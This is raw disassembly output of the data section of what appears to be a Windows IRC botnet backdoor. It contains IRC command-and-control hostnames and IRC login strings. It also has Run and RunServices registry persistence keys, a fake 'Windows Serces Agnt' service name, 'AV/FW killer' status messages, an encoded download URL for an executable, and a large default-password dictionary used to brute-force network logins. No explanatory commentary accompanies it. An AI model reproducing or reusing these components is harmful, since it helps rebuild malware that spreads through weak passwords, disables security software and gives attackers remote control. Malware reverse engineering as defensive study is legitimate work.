aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424D78+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424D78+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4256C2:loc_4257B7o
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_4256C2+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_4256C2+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4256C2+ADo
		align 4
dword_427CE8	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: sub_425F03+5o
		dd 427E24h
off_427D04	dd offset loc_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5
		dd offset sub_4266F6
		dd offset dword_427E70
off_427D14	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5
		dd offset loc_426732
dword_427D20	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EBC
off_427D40	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5
		dd offset loc_426714
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F00
off_427D60	dd offset loc_4267F7	; DATA XREF: sub_4267E2o
					; ___:off_43D764o ...
		dd offset dword_427F30
off_427D68	dd offset loc_426813	; DATA XREF: sub_42682F+8o
					; sub_42686C+8o ...
		dd offset sub_4268CC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
		align 8
dword_427D88	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4268D9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DA8	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: sub_426988+5o
dword_427DC0	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: sub_426C13+5o
		dd 43D764h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DF0	dd offset off_43D77C	; DATA XREF: ___:00427E08o
					; ___:00427E54o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF0
		dd offset dword_427DC0+18h
dword_427E10	dd 3 dup(0)		; DATA XREF: ___:00427E34o
		dd 2, 427E08h, 3 dup(0)
		dd offset off_43D77C
		dd offset dword_427E10+4
off_427E38	dd offset off_43D79C	; DATA XREF: ___:00427E50o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E38
		dd offset off_427DF0
		dd offset dword_427DC0+18h
dword_427E5C	dd 3 dup(0)		; DATA XREF: ___:00427E80o
		dd 3, 427E50h
dword_427E70	dd 3 dup(0)		; DATA XREF: ___:00427D10o
		dd offset off_43D79C
		dd offset dword_427E5C+4
off_427E84	dd offset off_43D7BC	; DATA XREF: ___:00427E9Co
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E84
		dd offset off_427DF0
		dd offset dword_427DC0+18h
dword_427EA8	dd 3 dup(0)		; DATA XREF: ___:00427ECCo
		dd 3, 427E9Ch
dword_427EBC	dd 3 dup(0)		; DATA XREF: ___:00427D3Co
		dd offset off_43D7BC
		dd offset dword_427EA8+4
off_427ED0	dd offset off_43D7E0	; DATA XREF: ___:00427EE8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED0
dword_427EEC	dd 3 dup(0)		; DATA XREF: ___:00427F10o
		dd 1, 427EE8h
dword_427F00	dd 3 dup(0)		; DATA XREF: ___:00427D5Co
		dd offset off_43D7E0
		dd offset dword_427EEC+4
		dd offset dword_427DC0+18h
dword_427F18	dd 4 dup(0)		; DATA XREF: ___:00427F40o
		dd 1, 427F14h
dword_427F30	dd 3 dup(0)		; DATA XREF: ___:00427D64o
		dd offset off_43D764
		dd offset dword_427F18+8
		align 8
dword_427F48	dd 19930520h, 2, 427F68h, 5 dup(0) ; DATA XREF:	___:loc_426DF7o
		dd 0FFFFFFFFh, 426DE0h,	0
		dd offset sub_426DD8
dword_427F78	dd 19930520h, 2, 427F98h, 5 dup(0) ; DATA XREF:	___:loc_426E14o
		dd 0FFFFFFFFh, 426E04h,	0
		dd offset loc_426E0C
dword_427FA8	dd 19930520h, 2, 427FC8h, 1, 427FD8h, 3	dup(0) ; DATA XREF: ___:loc_426E20o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FF0h, 4	dup(0)
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0D7h, 40h, 0
		dd 0FFFFFFFFh, 426E2Ah
dword_428008	dd 19930520h, 1, 428000h, 5 dup(0) ; DATA XREF:	___:loc_426E32o
		dd offset off_43D764
		align 10h
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42686Ch, 0
		dd offset off_43D77C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_43D79C
		align 8
		dd 0FFFFFFFFh, 0
dword_428070	dd 1Ch,	426682h, 3, 42805Ch, 428040h, 428024h ;	DATA XREF: ___:00428094o
dword_428088	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428070+8
		dd 0FFFFFFFFh, 426E3Ch
dword_4280A0	dd 19930520h, 1, 428098h, 4 dup(0) ; DATA XREF:	___:loc_426E44o
		dd 0FFFFFFFFh, 426E4Eh
dword_4280C4	dd 19930520h, 1, 4280BCh, 4 dup(0) ; DATA XREF:	___:loc_426E56o
		dd 0FFFFFFFFh, 426E60h
dword_4280E8	dd 19930520h, 1, 4280E0h, 5 dup(0) ; DATA XREF:	___:loc_426E68o
		dd offset off_43D7BC
		align 10h
		dd 0FFFFFFFFh, 0
dword_428118	dd 1Ch,	4266DEh, 3, 428104h, 428040h, 428024h ;	DATA XREF: ___:0042813Co
dword_428130	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428118+8
		dd 0FFFFFFFFh, 426E72h
dword_428148	dd 19930520h, 1, 428140h, 4 dup(0) ; DATA XREF:	___:loc_426E7Ao
dword_428164	dd 2, 428040h, 428024h	; DATA XREF: ___:0042817Co
dword_428170	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_428164
		dd 5 dup(15FB5C62h), 5 dup(6C26C6D9h), 5 dup(86B3410h)
		dd 7Ah dup(0)
		dd 86B3410h, 0
		dd 15FB5C62h, 15h dup(0)
		dd 6C26C6D9h, 2FEh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041B7A3o
		dd offset loc_401205
		dd offset sub_40D879
		dd offset sub_40D89B
		dd offset dword_40E504+1D0h
dword_429014	dd 0			; DATA XREF: ___:0041B79Eo
dword_429018	dd 0			; DATA XREF: ___:0041B794o
		dd offset sub_41D052
		dd offset sub_42026D
		dd offset sub_423936
		dd offset word_424752
dword_42902C	dd 0			; DATA XREF: ___:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: sub_41B7D3+65o
		dd offset sub_4239DB
dword_429038	dd 0			; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C	dd 0			; DATA XREF: sub_41B7D3+76o
		dd offset dword_424754+0Fh
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050	dd 80000002h, 429178h, 80000002h, 4291A8h, 80000001h, 429178h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Cr
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2089r
					; sub_40BACE+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C44r
					; sub_40BACE:loc_40BEBFr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DD0r
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Fr
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_41835A+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Cr ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40ACB6+3Ar
					; sub_40ACB6+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aScorservs	db 'scorservs',0        ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_4044A1o ...
		align 10h
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404946o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDCo
					; sub_401ACD+7EABo
		align 4
aSaber4_ircqfor	db 'saber4.ircqforum.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290EC	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aCorti1_dns2go_	db 'corti1.dns2go.com',0
		align 10h
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 4
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 10h
byte_429110	db 77h			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 69h,	6Eh, 64h
		dd 76726573h, 78652E63h, 65h
dword_429120	dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C51o
aWindowsSercesA	db 'Windows Serces Agnt',0 ; DATA XREF: sub_401000+Eo
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 10h
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F27o
		align 4
aF		db '#f',0               ; DATA XREF: sub_401ACD+1D46o
					; sub_401ACD+3040o ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+44A3o
		align 10h
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40C5o
					; sub_401ACD+4217o
		align 4
off_429164	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4098FCo
					; "*@admin.com"
off_429168	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Bo
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 10h
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E7A+28o
					; sub_41A19E+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E7A+D4o
					; sub_41A19E+D4o
		align 10h
		dd 2 dup(1), 70747468h,	772F2F3Ah, 662E7777h, 77656572h
		dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
		dd 652E6D79h, 6578h, 429940h, 429930h, 429920h,	429914h
		dd 42990Ch, 429904h, 4298FCh, 4298F4h, 4298E8h,	4298E0h
		dd 4298D8h, 4298D0h, 4298C4h, 4298BCh, 4298B4h,	4298A8h
		dd 4298A4h, 42989Ch, 429898h, 0
		dd offset dword_43D808
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
dword_4294D4	dd 10h			; DATA XREF: sub_401ACD+AFCr
					; sub_401ACD+B28r ...
aIntranet	db 'intranet',0         ; DATA XREF: ___:004294C0o
		align 4
aLan		db 'lan',0              ; DATA XREF: ___:004294B8o
aMain		db 'main',0             ; DATA XREF: ___:004294B4o
		align 10h
aWinpass	db 'winpass',0          ; DATA XREF: ___:004294B0o
aBlank		db 'blank',0            ; DATA XREF: ___:004294ACo
		align 10h
aOffice		db 'office',0           ; DATA XREF: ___:004294A8o
		align 4
aControl	db 'control',0          ; DATA XREF: ___:004294A4o
aXp		db 'xp',0               ; DATA XREF: ___:004294A0o
		align 4
aNokia		db 'nokia',0            ; DATA XREF: ___:0042949Co
		align 4
aHp		db 'hp',0               ; DATA XREF: ___:00429498o
		align 10h
aSiemens	db 'siemens',0          ; DATA XREF: ___:00429494o
aCompaq		db 'compaq',0           ; DATA XREF: ___:00429490o
		align 10h
aDell		db 'dell',0             ; DATA XREF: ___:0042948Co
		align 4
aCisco		db 'cisco',0            ; DATA XREF: ___:00429488o
		align 10h
aIbm		db 'ibm',0              ; DATA XREF: ___:00429484o
aOrainstall	db 'orainstall',0       ; DATA XREF: ___:0042947Co
		align 10h
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: ___:00429478o
		align 4
aSql		db 'sql',0              ; DATA XREF: ___:00429474o
aSa		db 'sa',0               ; DATA XREF: sub_401ACD+1BFDo
					; ___:00429470o
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: ___:0042946Co
		align 4
aDb1		db 'db1',0              ; DATA XREF: ___:00429464o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: ___:00429460o
		align 4
aData		db 'data',0             ; DATA XREF: ___:0042945Co
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: ___:00429458o
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: ___:00429454o
		align 10h
aDbpass		db 'dbpass',0           ; DATA XREF: ___:00429450o
		align 4
aAccess		db 'access',0           ; DATA XREF: ___:0042944Co
		align 10h
aDomainpassword	db 'domainpassword',0   ; DATA XREF: ___:00429444o
		align 10h
aDomainpass	db 'domainpass',0       ; DATA XREF: ___:00429440o
		align 4
aDomain		db 'domain',0           ; DATA XREF: ___:0042943Co
		align 4
aHello		db 'hello',0            ; DATA XREF: ___:00429438o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:00429434o
		align 4
aGod		db 'god',0              ; DATA XREF: ___:00429430o
aSex		db 'sex',0              ; DATA XREF: ___:0042942Co
					; ___:off_4385E8o
aSlut		db 'slut',0             ; DATA XREF: ___:00429428o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: ___:00429424o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: ___:00429420o
		align 4
aExchange	db 'exchange',0         ; DATA XREF: ___:0042941Co
		align 10h
aBackup		db 'backup',0           ; DATA XREF: ___:00429418o
		align 4
aTechnical	db 'technical',0        ; DATA XREF: ___:00429414o
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: ___:00429410o
		align 10h
aLogin		db 'login',0            ; DATA XREF: sub_401ACD+AA3o
					; ___:0042940Co
		align 4
aMary		db 'mary',0             ; DATA XREF: ___:00429408o
		align 10h
aKatie		db 'katie',0            ; DATA XREF: ___:00429404o
		align 4
aKate		db 'kate',0             ; DATA XREF: ___:004293FCo
		align 10h
aGeorge		db 'george',0           ; DATA XREF: ___:004293F8o
		align 4
aEric		db 'eric',0             ; DATA XREF: ___:004293F4o
		align 10h
aChris		db 'chris',0            ; DATA XREF: ___:004293F0o
		align 4
aIan		db 'ian',0              ; DATA XREF: ___:004293ECo
aNeil		db 'neil',0             ; DATA XREF: ___:004293E8o
		align 4
aLee		db 'lee',0              ; DATA XREF: ___:004293E4o
aBrian		db 'brian',0            ; DATA XREF: ___:004293E0o
		align 10h
aSusan		db 'susan',0            ; DATA XREF: ___:004293D8o
		align 4
aSue		db 'sue',0              ; DATA XREF: ___:004293D4o
aSam		db 'sam',0              ; DATA XREF: ___:004293D0o
aLuke		db 'luke',0             ; DATA XREF: ___:004293CCo
		align 4
aPeter		db 'peter',0            ; DATA XREF: ___:004293C8o
					; ___:004293DCo
		align 10h
aJohn		db 'john',0             ; DATA XREF: ___:004293C4o
		align 4
aMike		db 'mike',0             ; DATA XREF: ___:004293C0o
		align 10h
aBill		db 'bill',0             ; DATA XREF: ___:004293BCo
		align 4
aFred		db 'fred',0             ; DATA XREF: ___:004293B8o
		align 10h
aJoe		db 'joe',0              ; DATA XREF: ___:004293B4o
aJen		db 'jen',0              ; DATA XREF: ___:004293B0o
aBob		db 'bob',0              ; DATA XREF: ___:004293ACo
					; ___:00429400o
aQwe		db 'qwe',0              ; DATA XREF: ___:004293A8o
aZxc		db 'zxc',0              ; DATA XREF: ___:004293A4o
aAsd		db 'asd',0              ; DATA XREF: ___:004293A0o
aQaz		db 'qaz',0              ; DATA XREF: ___:0042939Co
aWin2000	db 'win2000',0          ; DATA XREF: ___:00429398o
aWinnt		db 'winnt',0            ; DATA XREF: ___:00429394o
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: ___:00429390o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: ___:0042938Co
		align 4
aWin98		db 'win98',0            ; DATA XREF: ___:00429388o
		align 4
aWindows	db 'windows',0          ; DATA XREF: ___:00429384o
aOeminstall	db 'oeminstall',0       ; DATA XREF: ___:00429380o
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: ___:0042937Co
aOem		db 'oem',0              ; DATA XREF: ___:00429378o
aUser		db 'user',0             ; DATA XREF: sub_401ACD+46D4o
					; ___:00429374o
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: ___:00429370o
		align 4
aHome		db 'home',0             ; DATA XREF: ___:0042936Co
		align 10h
aAccounting	db 'accounting',0       ; DATA XREF: ___:00429368o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: ___:00429364o
		align 4
aInternet	db 'internet',0         ; DATA XREF: ___:00429360o
					; ___:004294BCo
		align 4
aWww		db 'www',0              ; DATA XREF: ___:0042935Co
aWeb		db 'web',0              ; DATA XREF: ___:00429358o
aOutlook	db 'outlook',0          ; DATA XREF: ___:00429354o
aMail		db 'mail',0             ; DATA XREF: ___:00429350o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:0042934Co
		align 4
aNull_1		db 'null',0             ; DATA XREF: ___:00429348o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E90o
					; ___:00429340o
		align 4
aSystem		db 'system',0           ; DATA XREF: ___:0042933Co
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:00429334o
		align 4
aLinux		db 'linux',0            ; DATA XREF: ___:00429330o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: ___:0042932Co
		align 4
aDemo		db 'demo',0             ; DATA XREF: ___:00429328o
		align 10h
aNone		db 'none',0             ; DATA XREF: ___:00429324o
		align 4
aTest		db 'test',0             ; DATA XREF: ___:0042931Co
		align 10h
a2004		db '2004',0             ; DATA XREF: ___:00429318o
		align 4
a2003		db '2003',0             ; DATA XREF: sub_41AA43+BAo
					; ___:00429314o
		align 10h
a2002		db '2002',0             ; DATA XREF: ___:00429310o
		align 4
a2001		db '2001',0             ; DATA XREF: ___:0042930Co
		align 10h
a2000		db '2000',0             ; DATA XREF: ___:00429308o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: ___:00429304o
		align 4
a123456789	db '123456789',0        ; DATA XREF: ___:00429300o
		align 10h
a12345678	db '12345678',0         ; DATA XREF: ___:004292FCo
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:004292F8o
a123456		db '123456',0           ; DATA XREF: ___:004292F4o
		align 4
a12345		db '12345',0            ; DATA XREF: ___:004292F0o
		align 4
a1234		db '1234',0             ; DATA XREF: ___:004292ECo
		align 4
a123		db '123',0              ; DATA XREF: ___:004292E8o
a12		db '12',0               ; DATA XREF: ___:004292E4o
		align 4
a1:					; DATA XREF: ___:004292E0o
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: ___:004292DCo
aPwd		db 'pwd',0              ; DATA XREF: ___:004292D8o
aPass		db 'pass',0             ; DATA XREF: ___:004292D4o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: ___:004292D0o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: ___:004292CCo
		align 4
aPassword	db 'password',0         ; DATA XREF: ___:004292C8o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: ___:004292C4o
		align 4
aAdm		db 'adm',0              ; DATA XREF: ___:004292C0o
aDb2		db 'db2',0              ; DATA XREF: ___:00429468o
aOracle		db 'oracle',0           ; DATA XREF: ___:00429480o
		align 4
aDba		db 'dba',0
aDatabase	db 'database',0         ; DATA XREF: ___:00429448o
		align 4
aDefault	db 'default',0          ; DATA XREF: ___:00429338o
aGuest_0	db 'guest',0            ; DATA XREF: ___:00429320o
		align 4
aWwwadmin	db 'wwwadmin',0
		align 10h
aTeacher	db 'teacher',0          ; DATA XREF: ___:004294C8o
aStudent	db 'student',0          ; DATA XREF: ___:004294C4o
aOwner		db 'owner',0
		align 4
aComputer	db 'computer',0
		align 4
aRoot		db 'root',0             ; DATA XREF: ___:00429344o
		align 4
aStaff		db 'staff',0            ; DATA XREF: ___:004294CCo
		align 4
aAdmin		db 'admin',0            ; DATA XREF: ___:004292BCo
		align 4
aAdmins		db 'admins',0           ; DATA XREF: ___:004292B8o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: ___:004292B4o
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:004292B0o
		align 10h
aAdministrador	db 'administrador',0    ; DATA XREF: ___:004292ACo
		align 10h
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:004292A8o
		align 10h
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429174o
		align 10h
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
		align 10h
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 10h
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429168o
		align 10h
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_429164o
dword_4299DC	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 10h
dword_429A10	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
unk_429A3C	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_429A7C	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 10h
dword_429AA0	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_429ABC	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_429AC8	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
					; sub_415A30+7Eo
dword_429AD0	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_40F6B4+EAo ...
unk_429AD8	db  2Dh	; -		; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 10h
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Fo
		align 10h
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F17o
		align 10h
unk_429B40	db  2Dh	; -		; DATA XREF: sub_401ACD+7F0Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_429B60	db  2Dh	; -		; DATA XREF: sub_401ACD+7EEDo
		db 3, 34h, 2
